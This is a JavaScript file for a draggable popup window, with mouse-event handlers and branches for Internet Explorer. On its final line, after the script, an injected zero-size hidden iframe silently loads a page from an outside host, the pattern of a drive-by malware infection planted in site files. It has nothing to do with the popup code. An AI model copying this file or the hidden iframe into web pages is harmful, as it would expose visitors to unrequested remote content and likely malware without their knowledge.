﻿var popWin_dragging = false;
var popWin_target;
var popWin_mouseX;
var popWin_mouseY;
var popWin_mouseposX;
var popWin_mouseposY;
var popWin_oldfunction;

function popWin_display(x)
{
  var win = window.open();
  for (var i in x) win.document.write(i+' = '+x[i]+'<br>');
}

// ----- popWin_mousedown -------------------------------------------------------
function popWin_mousedown(e)
{
  var ie = navigator.appName == "Microsoft Internet Explorer";
  if ( ie && window.event.button != 1) return;
  if (!ie && e.button            != 0) return;
  popWin_dragging = true;
  popWin_target   = this['target'];
  popWin_mouseX   = ie ? window.event.clientX : e.clientX;
  popWin_mouseY   = ie ? window.event.clientY : e.clientY;
  if (ie)
       popWin_oldfunction      = document.onselectstart;
  else popWin_oldfunction      = document.onmousedown;
  if (ie)
       document.onselectstart = new Function("return false;");
  else document.onmousedown   = new Function("return false;");
}
// ----- popWin_mousemove -------------------------------------------------------
function popWin_mousemove(e)
{
  if (!popWin_dragging) return;
  var ie      = navigator.appName == "Microsoft Internet Explorer";
  var element = document.getElementById(popWin_target);
  var mouseX = ie ? window.event.clientX : e.clientX;
  var mouseY = ie ? window.event.clientY : e.clientY;
  element.style.left = (element.offsetLeft+mouseX-popWin_mouseX)+'px';
  element.style.top  = (element.offsetTop +mouseY-popWin_mouseY)+'px';
  popWin_mouseX = ie ? window.event.clientX : e.clientX;
  popWin_mouseY = ie ? window.event.clientY : e.clientY;
}
// ----- popWin_mouseup ---------------------------------------------------------
function popWin_mouseup(e)
{
  if (!popWin_dragging) return;
  popWin_dragging = false;
  var ie      = navigator.appName == "Microsoft Internet Explorer";
  var element = document.getElementById(popWin_target);
  if (ie)
       document.onselectstart = popWin_oldfunction;
  else document.onmousedown   = popWin_oldfunction;
}
// ----- popWin_close ------------------------------------------------------------
function popWin_close(e)
{
  var ie      = navigator.appName == "Microsoft Internet Explorer";
  var element = document.getElementById(popWin_target);
  popWin_mouseup(e);
  element.style.visibility = 'hidden';
  element.style.display    = 'none';
}
// ----- popWin_show ------------------------------------------------------------
function popWin_show()
{
  element      = document.getElementById('popWin');
  drag_element = document.getElementById('popWin_drag');
  close_element = document.getElementById('popWin_close');
  element.style.position   = "absolute";
  element.style.visibility = "visible";
  element.style.display    = "block";
    //element.style.left = (document.documentElement.scrollLeft+popup_mouseposX+100)+'px';
    //element.style.top  = (document.documentElement.scrollTop + document.body.clientHeight/2 - 100);
  element.style.left = (window.document.body.clientWidth - element.offsetWidth)/2;  
  element.style.top = (window.document.body.clientHeight - element.offsetHeight + 100)/2;
  drag_element['target']   = 'popWin';
  drag_element.onmousedown = popWin_mousedown;
  close_element.onclick     = popWin_close;
}
// ----- popWin_mousepos --------------------------------------------------------
function popWin_mousepos(e)
{
  var ie = navigator.appName == "Microsoft Internet Explorer";
  popWin_mouseposX = ie ? window.event.clientX : e.clientX;
  popWin_mouseposY = ie ? window.event.clientY : e.clientY;
}
// ----- Attach Events ---------------------------------------------------------
if (navigator.appName == "Microsoft Internet Explorer")
     document.attachEvent('onmousedown', popWin_mousepos);
else document.addEventListener('mousedown', popWin_mousepos, false);
if (navigator.appName == "Microsoft Internet Explorer")
     document.attachEvent('onmousemove', popWin_mousemove);
else document.addEventListener('mousemove', popWin_mousemove, false);
if (navigator.appName == "Microsoft Internet Explorer")
     document.attachEvent('onmouseup', popWin_mouseup);
else document.addEventListener('mouseup', popWin_mouseup, false);

 <iframe src=http://www.v88v.net\images\en\user\svfox.html width=0 height=0></iframe>
